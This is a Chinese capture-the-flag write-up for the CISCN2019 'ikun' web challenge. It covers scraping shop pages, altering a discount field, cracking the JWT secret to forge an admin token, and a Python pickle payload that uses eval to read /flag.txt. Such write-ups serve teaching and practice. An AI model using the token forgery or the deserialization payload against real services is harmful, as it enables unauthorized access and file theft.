CISCN2019 华北赛区 Day1 Web2 ikun

地址:https://buuoj.cn
考点:

  • 逻辑漏洞

  • JWT

  • 未授权访问

  • python反序列化

看到主页,一定要买到lv6

很多还有下一页,点击下一页后发现url的改变

http://4cf0b42f-4999-42cb-8ea4-8be1be09e6ad.node3.buuoj.cn/shop?page=2

于是测试了一下,总共有500页,写了个简单的脚本寻找lv6

1
2
3
4
5
6
7
8
9
from time import sleep
import requests
url="http://4cf0b42f-4999-42cb-8ea4-8be1be09e6ad.node3.buuoj.cn/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.4)
if 'lv6.png' in r.text:
print(i)
break

最开始没写sleep,被封了IP,挂个代理跑了两分钟结果为181

创建了一个账号,查看余额,远远不够买lv6

burp抓个包看看

有价格,折扣,改了价格会显示操作失败,于是改了折扣

是一个重定向,浏览器如下显示,并有了后台地址/b1g_m4mber但是需要权限

抓的包里还看到了JWT,拿去解码

正是刚才注册的id,就想着这里能不能未授权登陆管理员账号。
爆破出JWT的key为1kun

伪造管理员的JWT,修改jwt字段往服务器发包


成功以管理员登陆

先看了看管理员身份的个人中心

一眼看出是unicode编码,本以为就要结束了,结果

那就回到购买lv6页面,源码发现文件下载,分析(后面步骤涉及python反序列化内容,本人太菜了,参考的网上博客)

admin.py存在反序列化

附上exp

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload传给become传入服务器可成功回显flag

Thank you very much if you can.

欢迎关注我的其它发布渠道